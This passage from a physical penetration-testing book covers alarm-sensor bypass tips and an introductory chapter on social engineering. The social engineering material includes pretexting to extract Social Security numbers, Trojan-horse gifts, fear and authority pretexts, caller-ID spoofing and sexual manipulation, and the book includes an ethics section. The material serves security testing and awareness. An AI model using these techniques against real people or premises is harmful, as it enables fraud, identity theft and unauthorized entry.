sensitivity turned\ndown for some odd reasons. For example, a sensor was pointing at a\nwindow with a tree outside it. The tree would sway in the wind and\ntrigger the alarm. Clearly, placement of the sensor was the problem,\ngiven that the tree and window combination turned out to be very\nuseful.\n•\nKnowing the alarm code in advance is very useful. The number\nof people within the company that have access to this information\ndirectly impacts your chances with a social engineering attack, but\nthis is the most elegant solution.\n•\nIf you trigger enough alarms over the course of an evening, it will look\nlike an equipment malfunction and eventually the alarm system will\nbe disabled for the night. Once this occurs, wait a couple of hours\nbefore attempting entry. The companies that respond to these alarms\nare not stupid.\n" }, { "page_number": 72, "text": "50\nEXECUTING TESTS\n•\nYou can disable some sensors by cutting off power to the building;\nsome have a battery backup. Either way it is rarely feasible to find out.\n•\nSensors that use infra-red (IR) light can be detected with the right\nequipment, such as a handheld camcorder in night vision mode.\n•\nSensors that use radio frequency (RF) have a longer tracking range\nand work in the same way as speed cameras (on the Doppler or radar\nprinciple). Detecting these sensors is not easy (you need to know what\nfrequencies to scan for), but it can be done from further away than IR\nsensors and they don’t require line of sight.\nSummary\nWe’ve covered a lot of core material in this chapter. The skills sets\ndiscussed are absolutely critical to a true understanding of the nature of\nphysical penetration testing and its execution. You should now have a\ngrasp of the following:\n•\nPractical physical security testing – The paradigms or approaches an\noperating team can take in order to complete their assignment.\n•\nSite exploration – The assets you may need to acquire.\n•\nTactical approaches – The techniques that one can deploy at a tactical\nlevel to gain access to a facility.\n•\nBadge security – The technical measures and psychological ap-\nproaches that can be adopted to mitigate badge and pass security.\n•\nSecurity mechanisms – These can be physical preventative controls\nor merely a deterrent. You should have a good idea of their strengths\nand weaknesses.\nThis is an important chapter. After reading Chapter 4, which concerns the\ntheory and practice of social engineering, you may wish to come back\nand read it again in order to apply what you have learned there.\n" }, { "page_number": 73, "text": "4\nAn Introduction to Social Engineering\nTechniques\n‘‘We are never deceived; we deceive ourselves.’’\n- Johann Wolfgang von Goethe\nThis chapter provides an introduction to social engineering. Because\nit is a huge topic, I can’t begin to provide more than an overview.\nSocial Engineering (also variously referred to as hacking ‘wetware’ or\nmore bluntly as lying and deception) means obtaining confidential or\nprivileged information by manipulating legitimate sources or holders\nof that information. This usually involves access control information,\nsuch as passwords or information on staff, company assets etc. Taken\nfurther, social engineering can be used to cause people to do things that\ncompromise security as a whole, such as physically grant you access to\nresources or premises you should not have. This always requires some\ndegree of deception. Therefore, a lot of the techniques discussed in\nChapter 3 would be considered by many to be social engineering.\nA lot of books cover social engineering in detail. I recommend Kevin\nMitnick’s Art of Deception (ISBN-13: 978-0764542800) by Wiley.\nHowever, while this chapter contains approaches useful in a face to\nface situation, they are just as applicable over the phone or via the\nInternet; indeed, social engineering is much easier (and safer) when\nperformed in this way. Remember the following phrase: Identification\nwithout verification.\n" }, { "page_number": 74, "text": "52\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nConsidering the Ethics of Social Engineering\nComputers don’t care if they’re abused, people (on the whole) do.\nSocial engineering is, in a very real sense, abuse, at the very least\nbecause it involves deliberately deceiving target staff at the behest\nof the employer, but also because social-engineering techniques are\ndesigned to achieve goals through the manipulation of a wide range of\nemotions, not all of them pleasant. Although some of the techniques\ndescribed in this chapter can be extremely effective it is your call\nwhether or not they are appropriate in a specific setting. Conducting\ntesting that focuses on causing an individual to be the weak link in\ncorporate security will cause a poor perception of (and loss of trust in)\nmanagement. Ultimately, the impact of this can be at least as negative\nas a security breach.\nMore importantly, social-engineering attacks can do psychological\ndamage to the individual who is duped. This is not a game and is\nnot behavior to engage in lightly. Always assess how important using\nindividual employees really is and never use it more than necessary.\nThere are several books on the market that discuss social engineering as\ntheir core subject; however most contain reams of irrelevant or useless\ninformation on subjects such as neurolinguistic programming and chunks\nof text from college psychology text books. This is, first and foremost, a\npractical text so I won’t bore you or waste your time with any information\nthat isn’t applicable. The example scenarios and analyses in this chapter\nare directly relevant to physical penetration testing: obtaining confidential\nor privileged data through the manipulation of trust, ignorance and\nemotional direction.\nIt is possible, through social engineering, to hack a corporate network\nwithout ever touching a keyboard. One of the most celebrated social\nengineers, Kevin Mitnick, was so accomplished at this that legends\nbegan circulating about him that only occasionally collided with the\nfacts – my favorite is that he could launch nuclear missiles by whistling\ncertain tones into a public telephone. Classic stuff.\nIs This What You Really Need?\nBefore conducting social engineering as part of testing, there are some\nthings you need to take into consideration. First, will a demonstration\nof vulnerability via social engineering have any intrinsic value?\n" }, { "page_number": 75, "text": "INTRODUCTION TO GUERILLA PSYCHOLOGY\n53\nLet me explain: when you carry out penetration testing against com-\nputers, networks or applications, the techniques used and the results\nobtained are measurable; findings are specific and recommendations\nare clear. If the test is performed well, the results are repeatable and, in\nsix months’ time, a retest report can be compared to the original and\nconclusions can be drawn about improvements in the overall security\nposition. When you ‘hack people’, things are by no means as clear cut\nand neither are the conclusions.\nIf security policies are already in place that instruct staff not to give\nout privileged information to strangers (whoever they purport to be)\nand staff are trained in basic security threats, there’s very little else\nyou can do (other than discipline staff which solves nothing). Think of\nthis in terms of a network analogy. At some point, a computer can be\nconsidered secure (or at least as secure as it’s possible to make it without\nswitching it off and burying it). The same cannot be said for people.\nAfter a successful social engineering test, any number of corrective\nsteps may be taken but in six months the results are very likely to be\nthe same. As the outcome will be bad for the target, is there really any\npoint in testing at all? Well . . ., yes. Knowing that you’re exposed is\nthe first step in a better approach to security all round.\nIntroduction to Guerilla Psychology\nThis section examines the various facets of the human psyche that can\nbe exploited to obtain information and predict and control behavior.\nDifferent people respond to different stimuli according to the makeup of\ntheir characters. However people with similar characters are often found\nin similar roles. Thus it is possible to predict with a certain degree of\naccuracy which techniques will be effective given sufficient knowledge\nof a target individual. A basic understanding of the following concepts\nand threat vectors is critical to obtaining any real success with social\nengineering as well as having any chance of protecting yourself against\nit. Social engineers play on states of mind in order to get what they want.\nIn this section, I’ll talk about exploiting the following:\n•\ntrust;\n•\nignorance;\n•\ngullibility;\n•\ngreed;\n•\nthe desire to help;\n•\nthe desire to be liked.\n" }, { "page_number": 76, "text": "54\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nExploiting Trust\nExploiting trust is at the core of social-engineering attacks. People trust\nthe familiar. In the workplace, most people trust their colleagues (at least\nin the context of the work environment). We humans are by our nature\ntrusting within our own clan or circles and less so outside them. But,\nmore often than not, we err on the side of trust unless we have a specific\nreason not to.\nFor example, if someone calls from a marketing company to ask you\nto participate in a survey, your first inclination is not ‘Arrgghh, a social\nengineer come to plunder my corporate secrets!’ but ‘Oh no, another\nmarketer who wants to waste my time.’ However, a lot of people regularly\nparticipate in surveys over the phone and are prepared to give out quite a\nlot of information about themselves often without any form of reward (real\nor perceived). The offer of reward (even if it’s something quite spurious\nlike being entered in a prize draw) dramatically increases the chances of\nactive participation. A survey, if it purports to be on behalf of a major\nplayer such as Microsoft, is an easy way to gain basic infrastructure\ninformation. Toss in a free copy of Windows 7 and you’re all set. You’d\nbe amazed at the degree to which people will take you at your word.\nA good way to establish trust is through name dropping. This technique\nis known as ‘implied knowledge’ and is used to demonstrate, if only at a\nsub-conscious level, that you are legitimate and implies that you are an\ninsider. If you give people a little knowledge, they will assume you have\na lot. This is the main principle behind a technique called pretexting.\nPretexting is the act of obtaining specific information from a target to\nuse in an attack elsewhere.\nIn the United States, it’s common to use a Social Security number (SSN)\nas security verification over the phone to establish someone’s identity.\nThis is dangerous and foolish as an SSN is only semi-secret at best. A\ncommon goal of criminals engaging in a wide variety of scams is to obtain\nan SSN for identity-theft attacks. A common technique for obtaining an\nSSN is to call a target masquerading as a bank or service they use (or\nmay have used at some point in the past). The caller states that they\nhave some form of urgent information to impart but must first legally\nascertain identity by verifying the Social Security Number. (Under these\ncircumstances, most people will divulge this information to try to prevent\nidentity theft!) It sounds simple and, like all the best attacks, it is. The\ntarget will usually hand over this information without thinking and the\nattacker is free to use it in a variety of different ways. This works for any\npiece of semi-secret information commonly used to prove identity over\n" }, { "page_number": 77, "text": "INTRODUCTION TO GUERILLA PSYCHOLOGY\n55\nthe phone. It’s shocking how many people rely on even less confidential\n(and more easily determined) information such as their mother’s maiden\nname. Can you think of any more?\nTo recap, most people are generally trusting as long as they don’t have\nany reason not to be, such as having had a bad experience in the past,\ningrained paranoia or simply just having enough time to give the situation\nsufficient thought. A good social engineer will conclude the conversation\nlong before any natural doubts begin to creep into their targets’ minds.\nAnother point to bear in mind is that trust (or trusting obedience) increases\nwith a perceived diminishment of responsibility or deferment of responsi-\nbility to authority. This is a typical attitude within a corporate environment;\nif it’s not your neck on the line you are typically less wary of the con-\nsequences of making a mistake. A good social engineer cultivates such\nfeelings by alleviating any concerns through name dropping (the practice\nof casually mentioning important people in order to impress your victim).\nMore on this later.\nExploiting Ignorance\nIgnorance is by no means the same thing as lack of intelligence. Victims\nof a social-engineering attack aren’t stupid. When I talk about ignorance,\nI mean that people recognize the areas in which they are knowledgeable\nand those in which they are not. People have a natural tendency to defer\nto the authority of others in situations where they feel less than competent.\nIn this instance, we use the Kropotkin definition of ‘authority’, meaning\ntechnical authority rather than someone in a position of power.\nIT systems is an area in which most people feel ignorant to a greater\nor lesser extent, particularly when speaking to someone who has or is\nperceived to have greater knowledge than they have. Exploiting people’s\nignorance of IT systems is a powerful social engineering tool when it is\ncoupled with the fact that people don’t like to feel ignorant. This attitude\nof ‘Of course I know what I’m doing, just tell me what to do!’ is a\nsubtle manipulation of people’s pride and ignorance which is always a\ndangerous combination.\nModern desktop workstations are very easy to use and indeed most people\nare forced to use them in business environments but using something and\nknowing how it works are two completely different things. It is very\neasy to relay technical instructions to a victim but that doesn’t mean\nthey understand the consequences of what they’re doing. For instance,\nadding a user to a workstation is a one-line command in Windows and\nthe installation of rogue or hostile software is just a few clicks away.\nEveryone in a target organization is ignorant in several areas so choose\nyour point of attack and area of leverage carefully.\n" }, { "page_number": 78, "text": "56\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nExploiting Group Mind\nIt is truly extraordinary what people are prepared to believe if their peers\nbuy into the idea first. Certain phenomena (reality TV, for example) can\nbe explained only in this manner.\nAt my first job, fresh out of college, the small value-added reseller I\nwas working for got into some hot water when one of our clients filed\nan official Health and Safety complaint in respect of some green-screen\nmonitors we’d sold them. Naturally, this was a cause of some concern\nto management, at least until the nature of the complaint became clear.\nIt seems that the monitors were being used by a typing pool in a local\nauthority. One of the girls working there had made an offhand remark\nto her co-workers that since using these new monitors she had gone up\ntwo bra sizes. One of her colleagues said the same had happened to\nher and soon this curse had spread throughout the entire typing pool.\nThe discussion reached their line manager who escalated it to the HR\ndepartment, hence the complaint. When the local authority representative\ncalled my boss to discuss the matter, his reply (very much in keeping with\nhis character) was ‘No, I am not available, on account of moving to the\nCaribbean thanks to all the money I’ve made selling boob-augmentation\ndevices’. The effect of this remark was that everyone realized what a load\nof nonsense the complaint was. However, a government agency being\nprepared to initiate litigation against a supplier solely on the basis of some\nadministrators talking about their bras illustrates that none of us is quite\nas stupid as all of us.\nIf you can make someone think that any given concept is already\nperceived as fact by another person they trust, then it will be readily\naccepted.\nExploiting Gullibility\nA person’s level of gullibility is how predisposed he or she is to believe\nin something without any evidence supporting its truth or existence.\nHowever, all people believe in things that they have no way of verifying.\nFor example, I accept that the Earth orbits the Sun rather than the other\nway around because I accept the authority of the people who tell me\nthis is so. A few hundred years ago, people believed the exact opposite\nfor the exact same reason. In a sense, scientific truth can be considered\nabsolute, but when the nature of that truth doesn’t have any impact on\nyour day-to-day life, it quickly becomes subjective and subjective truth\nis much more susceptible to manipulation: people once believed that the\nsun was pushed across the sky by a giant dung beetle and that seemed to\nwork out OK for everyone.\n" }, { "page_number": 79, "text": "INTRODUCTION TO GUERILLA PSYCHOLOGY\n57\nIs this really gullibility though? Is a Christian or a Muslim gullible for\nbelieving in a supreme being? Hmm, this is question somewhat beyond\nthe scope of this book and whether or not faith constitutes some form of\ngroup-mind gullibility is one I will leave to the philosophers.\nFor our purposes, gullibility can be graded on a scale with deep suspicion\nof the banal or mundane (the ‘skeptical’ personality) at one end and\nthe over-acceptance of the out of the ordinary or bizarre (the ‘quixotic’\npersonality) at the other. Most people are, of course, somewhere in\nbetween but can be moved back and forth along the scale depending on\nexternal stimuli or inducements. Clearly a gullible person is most useful\nto a social engineer. An interesting way to increase a person’s gullibility\nis by exploiting their greed. Greed and gullibility go hand in hand and\npeople seem prepared to believe some truly, truly absurd lies if you push\ntheir greed to the limits. Consider this gem from my inbox.\nFrom my Inbox\nSubject: Nigerian Astronaut Wants To Come Home\nDr. Bakare Tunde\nAstronautics Project Manager\nNational Space Research and Development Agency (NASRDA)\nPlot 555\nMisau Street\nPMB 437\nGarki, Abuja, FCT NIGERIA\nDear Mr. Sir,\nREQUEST FOR ASSISTANCE-STRICTLY CONFIDENTIAL\nI am Dr. Bakare Tunde, the cousin of Nigerian Astronaut, Air Force\nMajor Abacha Tunde. He was the first African in space when he made\na secret flight to the Salyut 6 space station in 1979. He was on a\nlater Soviet spaceflight, Soyuz T-16Z to the secret Soviet military space\nstation Salyut 8T in 1989. He was stranded there in 1990 when the\nSoviet Union was dissolved. His other Soviet crew members returned\nto earth on the Soyuz T-16Z, but his place was taken up by return\ncargo. There have been occasional Progrez supply flights to keep him\ngoing since that time. He is in good humor, but wants to come home.\nIn the 14-years since he has been on the station, he has accumulated\nflight pay and interest amounting to almost $15,000,000 American\n" }, { "page_number": 80, "text": "58\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nDollars. This is held in a trust at the Lagos National Savings and Trust\nAssociation. If we can obtain access to this money, we can place a\ndown payment with the Russian Space Authorities for a Soyuz return\nflight to bring him back to Earth. I am told this will cost $3,000,000\nAmerican Dollars. In order to access the his trust fund we need your\nassistance.\nConsequently, my colleagues and I are willing to transfer the total\namount to your account or subsequent disbursement, since we as civil\nservants are prohibited by the Code of Conduct Bureau (Civil Service\nLaws) from opening and/or operating foreign accounts in our names.\nNeedless to say, the trust reposed on you at this juncture is enormous.\nIn return, we have agreed to offer you 20 percent of the transferred sum,\nwhile 10 percent shall be set aside for incidental expenses (internal\nand external) between the parties in the course of the transaction. You\nwill be mandated to remit the balance 70 percent to other accounts in\ndue course.\nKindly expedite action as we are behind schedule to enable us include\ndownpayment in this financial quarter.\nPlease acknowledge the receipt of this message via my direct number\n234 (0) 9-234-2220 only.\nYours Sincerely, Dr. Bakare Tunde\nAstronautics Project Manager tip@nasrda.gov.ng\nhttp://www.nasrda.gov.ng/\nThis is an extreme example of the Nigerian 419 advance fee fraud.\nAlthough you’d have to be genuinely loopy to fall for it, a lot of people\nhave been taken in by scams not a great deal more believable than this. I\ndon’t know if there really is a Dr. Bakare Tunde working for the Nigerian\nspace program (whether there is such a thing as a Nigerian space program\nis worrying enough), but I’m guessing that the phone number listed won’t\nconnect you to him.\nThere’s nothing new about 419 scams yet, despite them receiving a great\ndeal of press attention, people continue to fall for this nonsense. What\nis particularly curious is that the countries of origin remain the same:\nNigeria, Sierra Leone or somewhere else in West Africa. The scammers\nclearly have enough success with this approach that they haven’t felt the\nneed to change the parameters of their attack too much. 419 scams work\nbecause people want to believe that a glass stone is really a diamond, that\nthere is gold at the end of the rainbow, and that they can get rich with\n" }, { "page_number": 81, "text": "INTRODUCTION TO GUERILLA PSYCHOLOGY\n59\nlittle perceived risk. (A lot of people probably believe they can do the\nscamming themselves because of the amount of trust that will be placed\nin them with the funds transfer – always the mark of a good scam.) Never\nunderestimate the power of belief.\nExploiting Greed\nThe exploitation of greed is a powerful vector of attack. Even people\nwho wouldn’t consider themselves greedy are susceptible to this form of\nmanipulation but the desire to want more than you have is a fundamental\nhuman drive.\nExploiting greed in a practical (staged) social engineering exercise is a\nquestion of knowing what people want, what they need (or think they\nneed) and providing it, albeit not quite in the way they expect. This\nforms the basis of one of the most devastating attacks possible, that of\nthe Trojan horse. If you recall, Odysseus and his fellow Greeks hid inside\na giant wooden horse, which the Trojans foolishly towed inside the city\nwalls (believing it to be a gift from their vanquished enemy). During the\nnight the Greeks slipped out, let in the rest of their army and the rest\nis history (or, at least, damned good storytelling). In terms of modern\nsecurity, a Trojan horse does much the same thing: it’s something that\nappears to be a gift or to do something useful (such as free software) but\nit steals the very keys to your security. Examples of Trojan-horse attacks\ninclude:\n•\nMany companies give out branded freebies such as USB drives, pens,\ngadgets, etc. It is trivial to incorporate bugging hardware into such\ndevices. You can find out which companies the target does business\nwith and use their branding in such attacks. An employee at a client of\nmine was delighted when she received an expensive desk lamp from\nan associate; unfortunately, it also contained a miniature wireless\ncamera.\n•\nSoftware masquerading as security patches, updates or pretty much\nanything that appeals to the target can carry a number of different\npayloads, such as key loggers or password stealers. I once discovered\na Trojan horse on a client’s computer that had been streaming video\nfrom their webcam and audio from their microphone in real time.\nWhile poorly written and clearly the work of an amateur, it functioned\nwell enough, which should be a sufficient indication of how easy such\ntools are to develop.\nAs the old saying goes, beware Greeks bearing gifts. In other words, don’t\naccept generous gifts without question: nothing is free.\n" }, { "page_number": 82, "text": "60\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nExploiting the Desire to Help\nBeing helpful is something that is required of all staff in a company,\nparticularly to newcomers and clients. This is why new hires and visiting\nclients are very popular guises for social engineers. Someone new to the\ncompany is expected to ask questions and not know the ropes. A client\nis a source of revenue and most companies will bend over backwards\nto ensure they are happy. The first route – pretending to be a new hire\n– is the easiest to exploit. Everybody remembers their first day at work\nand how intimidating that can be, so there is a natural tendency among\nexisting staff to lend a helping hand. Being a new hire also allows you\nto deflect a number of difficult questions: you haven’t been issued with\na badge yet, you didn’t know you weren’t supposed to be in here, and\nso on. It also allows you to ask questions without arousing suspicion. For\nexample, asking for directions, help getting on the network, being swiped\nthrough doors because, again, you haven’t been issued a badge yet. (It\ndoesn’t matter that the first thing security does is issue you a badge and\neveryone knows this – it’s still an effective lie.)\nTo carry off this kind of attack requires that your glamour is well prepared\nand that you have the names of senior managers to drop in to conversation\nto give you some credibility. In fact, this allows you to establish a chain\nof credibility by getting people to do things for you. For example, you\nask a desk clerk for some information. (You need it because Mr X says\nyou need it.) The desk clerk then makes a phone call to acquire this\ninformation. She will refer to you on the phone as ‘a new hire’ or ‘the\nnew guy’ (which is usually enough to guarantee success). She in turn may\nalso drop Mr X’s name and the chain is complete. Using other people’s\nauthority in this manner (in this case, that of both the desk clerk and Mr\nX) is usually very effective.\nExploiting the Desire to Be Liked\nVirtually everyone likes to feel that they are liked or well thought of. A\nclassic social-engineering attack is to induce this feeling in those you\nare manipulating. This is surprisingly easy and, despite appearances, the\ncolder a person may come across the easier it gets. People who are\ncold to others are often this way because they are used to being treated\nungratefully or looked down upon; it’s a natural defense mechanism. Act\nas though you really need something and show genuine gratitude when\nsomeone seems to be prepared to give it you. Smile, be friendly and be\ncareful not to subconsciously mirror another person’s cool exterior. It’s\na lot easier to come across as liking someone if you can fool yourself\ninto believing that you really do. Think of all those sales people you’ve\nencountered: Which were the most successful and easy to talk to? Think\n" }, { "page_number": 83, "text": "TACTICAL APPROACHES TO SOCIAL ENGINEERING\n61\nabout why that was. A good salesman is one who you can instantly warm\nto; a bad one just looks like he’s desperately trying to be your friend.\nTactical Approaches to Social Engineering\nHaving discussed in general the overall philosophy of the social engineer,\nthis section provides tips and hints for social engineers. It looks at the\nspecific tactics that can be employed within conversations to achieve\nyour goals (or at least speed up the process). After reading each section,\nthink about people you know and how you think they would respond to\neach approach. This is actually a lot easier than you might imagine. For\nexample, acting belligerent and imperious with middle management is\ngoing to get you nowhere fast (unless you can convince your victim you\nare upper management), similarly don’t expect to carry out a successful\nIT-based attack against IT staff. You will find this kind of mental templating\nvery useful.\nActing Impatient\nActing with impatience when someone is moving too slowly or appears\nto be considering verifying your story can be effective in derailing some\npeople’s adherence to accepted security protocols. Usually you can\nexpect one of three responses:\n•\nThe flustered target – This is when people panic because they’re out\nof their depth and feel expected to handle a situation they’re not\ntrained to deal with. People who don’t know what to do are easily\nmanipulated. If this kind of reaction occurs, you should immediately\nchange tack – become reassuring but at the same time firm. Adopt\nan alpha personality that implies that you know what needs to be\ndone and you will take charge of the situation to resolve the problem.\nPeople respond very well to this approach because you are solving\ntheir problem and at the same time assuming responsibility (i.e. taking\nthe responsibility away from them). You are also showing you are a\nreasonable person and are not just angry with them.\n•\nThe cooperative or indifferent target – These are two very different\nmental states but the end result is the same. Most people don’t like\nconflict and will do whatever they can to avoid it. This often means\nsimply sidestepping the problem. Cooperation occurs when the target\nsimply wants you to go away and has subconsciously rationalized this\nversus any given risk. Indifference is the (again, often subconscious)\nattitude targets develop when they decide that they are simply not\nbeing paid enough to be treated like this and therefore cannot possibly\n" }, { "page_number": 84, "text": "62\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nbe expected to work under these conditions. Consequently, they can’t\nbe held responsible for doing what is necessary to get rid of this rude\nperson quickly. The result of either reaction is the same.\n•\nThe stonewaller – This results in you simply being ignored until you\ngo away and come back a little nicer. This is not a desirable outcome\nbut it is an avoidable one if you do a better job at reading the target to\nbegin with. Different approaches work on different people; in the face\nof frustrated impatience, a few will simply shut down and ignore you.\nEmploying Politeness\nThe individual who stonewalled you would probably have responded\nfar better to a little politeness. Being polite is not the same thing as\nbeing formal. A lot of people get this confused. They’re the same people\nwho think that being rude is the same as being forthright. Politeness is a\ncombination of respect, deference, and putting someone at ease. There\nare innumerable cases of criminals who have worked their way into\nanother’s confidence and later, when the reality of who they are has been\ndiscovered (along with the missing jewelry), all people will say is ‘But he\nwas such a nice man!’ or ‘A real gentleman, so polite’.\nWhy is politeness so effective? Because very few of us are ever exposed\nto it. Genuine politeness is not conditional on what another can do for\nyou. For example, a maitre d’ really couldn’t care less whether or not\nyou enjoy your meal as long as you leave a good tip, so you can be sure\nthat the kid in McDonald’s isn’t terribly interested in whether you have a\nnice day. Such phrases are politeness as corporate policy. In the business\nworld, people are used to being relatively informal with close colleagues\nand engage in various degrees of formality with bosses, managers, clients\nand so on. Think about all this the next time you sign in at a client site or\neven just stop to chat with the cleaning staff.\nInducing Fear\nThis is an unpleasant but extremely effective tactic and one that criminal\nsocial engineers resort to often. Essentially, you create a problem (or the\nbelief that a problem exists) and convince a target that he or she is the\ncause. This creates fear – specifically, it creates fear for one’s job. You’ve\nprobably heard the old saying that if you can keep people afraid you can\nmake them do anything. (If you work for one of the big four accountancy\nfirms, this is practically a corporate motto, but I digress.)\nFear is a powerful motivator. Recently I worked a forensics engagement\nfollowing a hack of a company in London. It transpired that an accountant\n" }, { "page_number": 85, "text": "TACTICAL APPROACHES TO SOCIAL ENGINEERING\n63\nhad received a phone call from a man purporting to be from ‘internal\nsecurity’ who identified himself as ‘John Richards’. His caller ID supported\nthis. ‘Mr Richards’ was apparently furious because this accountant had\nbeen trying to hack servers, which had led to an accounting server\ncrashing and a considerable loss of data. ‘Mr Richards’ used words such\nas ‘dismissal’ and ‘gross misconduct’ and wanted an explanation quickly\nbecause the police were on their way. Not surprisingly, the accountant\npanicked and protested his innocence. ‘Mr Richards’ said the only other\npossibility was that his workstation had been hijacked by hackers – a\nfew simple tests would determine this. The accountant said he would do\nwhatever he could to assist and gladly typed in the commands he was\nrelayed, reading back the information to ‘Mr Richards’. You can probably\nsee where I’m going with this. There was no ‘Mr Richards’ or ‘internal\nsecurity’, no hackers and no server crash. The attacker was ‘Mr Richards’\nhimself, who was able to use the accountant’s fear to manipulate him\ninto infecting his machine with a Trojan horse.\nAs for the caller ID, this is trivial to manipulate. It’s possible to have\nsomeone phone tell them you’re Santa Claus, if you so wish.\nFaking Supplication\nThis method involves throwing yourself at someone’s mercy or begging\nfor help. This is an effective technique for getting assistance (particularly\nif you’re good at faking strong emotions) because it’s not something that a\nlot of people know how to deal with. Although people may be relatively\ninformal with close colleagues, it’s only during times of great stress,\npressure or a catastrophe in their personal lives (if then) that they show\nstrong emotion or cry in front of them (let alone total strangers).\nThis approach has the ability to roll completely over the walls others build\naround themselves in a professional environment. When confronted\nby someone in genuine distress, people react in a variety of ways\n(usually with some degree of embarrassment) but the instincts of the\nvast majority of people will be to help if they can, regardless of the\nsecurity consequences. By generating a sense of crisis, you imply urgency.\nExamples of the ways this technique can be used include:\n•\nacquiring contact details (‘It’s an emergency!’).\n•\nacquiring an elevated level of access to a system or asset therein or\nan area of a building (‘My contact’s off sick. If I don’t get this done,\nI’ll lose my job!’).\nAs with any social engineering scenario, it’s a good idea to put yourself in\nyour target’s shoes and think how you would react in the circumstances.\n" }, { "page_number": 86, "text": "64\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nInvoking the Power of Authority\nOne of the most powerful social-engineering attacks is using the ingrained\ntendency of target staff not to question those in a position of authority.\nThis is a similar approach to inducing fear except that it is more subtle.\nIn this instance, you don’t have to make it clear to staff that disobedience\nmeans loss of employment: people know where the rent money comes\nfrom.\nTo pull this attack off in a truly believable manner, it’s essential to have\naccess to target hierarchy information in order to be sufficiently convinc-\ning. There are two approaches: the first involves directly masquerading\nas a figure of authority; the second involves masquerading as someone\nacting on their behalf. Exploiting the power of authority is a common\ntechnique when performing social-engineering attacks over the phone\nparticularly in corporate espionage attacks. The more junior and inexpe-\nrienced the target, the more effective the attack becomes as they have\nhad less time to familiarize themselves with operational procedure and\nfellow staff members.\nA common approach is to call the target in the guise of a senior project\nmanager (preferably someone the target has not met) and give some\nexcuse as to why you can’t access your data – for example, you’re on the\nroad and have lost your BlackBerry – and request project documents for\nan urgent meeting. One of the benefits of using an authority figure is that\nthey have the power to reward as well as punish. A clever social engineer\nunderstands this and will further motivate his target by promising that\nsuch assistance will not be forgotten. There are variants on this approach:\nyour guise could be that of a manager at a client who needs a copy of all\nrecent documentation. It is not uncommon for attackers to masquerade\nliterally as figures of authority, such as police officers investigating a\ncrime.\nAs Niccol`o Machiavelli states in The Prince, ‘It is best to be both feared\nand loved; however, if one cannot be both it is better to be feared than\nloved.’ It is better for the social engineer to motivate staff in a positive\nmanner if possible, but the ultimate motivator is always fear.\nIt might seem odd or unbelievable that people will respond to the concept\nof authority from people they don’t know, or think they know but can’t\nverify. However, this is one of the most successful approaches a social\nengineer can deploy and, like previous attacks, it employs a strong sense\nof urgency to achieve compliance from the target before they’ve had a\nchance to think things through. Companies should make it clear to their\nstaff that there are no repercussions for failing to comply with instructions\ngiven over the phone from unverifiable sources.\n" }, { "page_number": 87, "text": "TACTICAL APPROACHES TO SOCIAL ENGINEERING\n65\nEmploying Ingratiation or Deference\nThis is a reverse form of the power-of-authority attack where you play\nto others’ perceived sense of importance. This is a form of manipulation\nwhere you acknowledge another’s power over you. You imply, ‘I know\nthat I’m only a lowly cog in the great scheme of things but you have the\npower to make this happen, will you please?’\nThis attack works because you’re taking someone’s (often deluded) sense\nof being irreplaceable and important and making it real, at least for\nthem and for a short period of time. Also, the more exaggerated sense of\nimportance that a person has of their position in the corporate machine,\nthe lower down the rungs they tend to be, causing them to seek continual\nreinforcement of their own elevated worth.\nPlaying to people’s often erroneous perceptions of their own self impor-\ntance is not limited simply to authority per se. A few years ago, when I\nwas doing a lot of consulting for various departments of the British gov-\nernment in London, it was common to hear the private sector consultants\nrefer to the civil servants we worked with as ‘Mittys’ – a reference to\nWalter Mitty, a fictional character who lived in a delusional dream world\nwhere he saved people’s lives and did top-secret work. A person’s self\nimportance tends to be colored by their surroundings. For example, a\ndoorman is letting you into his theatre and similarly a civil servant in a\ndepartment concerned with security often thinks of himself as one step\naway from being James Bond. Psychologically, this is a compensation\nfor the feelings of worthlessness and failure that a lot of people suffer\nfrom in this day and age. It’s mostly harmless, but you can turn it into\nan exploitable weakness with a correctly phrased request, such as, ‘Hi, I\nunderstand you’re the authority around here on such and such, everyone\nsays so’ or ‘My knowledge on such and such is pretty weak, I’d really\nappreciate the input from someone in your position.’\nWhat flattery would it take to get you to open up and talk? What would\nit take for someone to make you feel important? Would you be more\nforthcoming if they did?\nUsing Sexual Manipulation\nAnother common social engineering technique employed since the dawn\nof time is sexual manipulation. Despite what the company handbook\nmight say about avoiding harassment lawsuits, in most work environments\nthere is some flirtation between staff members of the opposite sex or\nsometimes the same sex. (I work in the Netherlands.) Every workplace\nhas a pretty girl who can bat her eyelids at a man and get him to fix\n" }, { "page_number": 88, "text": "66\nAN INTRODUCTION TO SOCIAL ENGINEERING TECHNIQUES\nher computer (or whatever). Men (and, curiously, men working in the\nIT industry) are considerably more susceptible than women to being\nmanipulated in this way. (Why this is makes for some entertaining\nspeculation and discussion.) When deploying this sort of tactic in a\nsocial-engineering exercise, using women to exploit men is far more\nreliable than the other way around. It’s also entirely feasible for men to\nuse voice changers to assume a convincing female voice over the phone.\nConducting social engineering as part of a test should always be accom-\npanied by a legal risk review of the methods you intend to deploy. This\napproach can result in serious legal complications in the United States\nand other litigious environments. Engagement management is key.\nThere are several reasons why this technique is effective in the real world;\nall men are grateful for attention from women who are perceived to be\nattractive, also the fact that a woman needs assistance and is requesting it\nfrom you is a powerful motivating force for many men. By consolidating\na target’s self-image of someone assisting a damsel in distress, you are\nremoving any natural suspicious defenses that they may possess.\nIt’s also very difficult for many men to say no to a female requesting\nassistance and this has as much to with ingrained cultural considerations\nas anything else. It is extremely difficult to protect against this technique.\nYou can’t just tell your male staff members not to trust women. Con-\nsequently, there are many examples of this strategy being successfully\ndeployed in fiction and in the real world.\nSummary\nThis chapter has necessarily been a little different from the others in this\nbook. Although it is easy to show someone how to pick a lock or hack\na wireless network, social engineering is a far more subjective topic and\nmust therefore be described in more abstract terms. The bottom line is\nthat you can read a great deal on the subject and, indeed, on psychology\nin general but your success in this field will depend largely on your own\npersonality and people skills. You may feel that you don’t possess the\nrequisite nature – very few people do and this problem is exacerbated\nby the fact that such skills are impossible to practice – at least in the\nway that you can practice hacking or lock picking. In any case, you are\nlikely to have one person on your team who can competently execute the\nsocial-engineering aspect of a test. If not, I 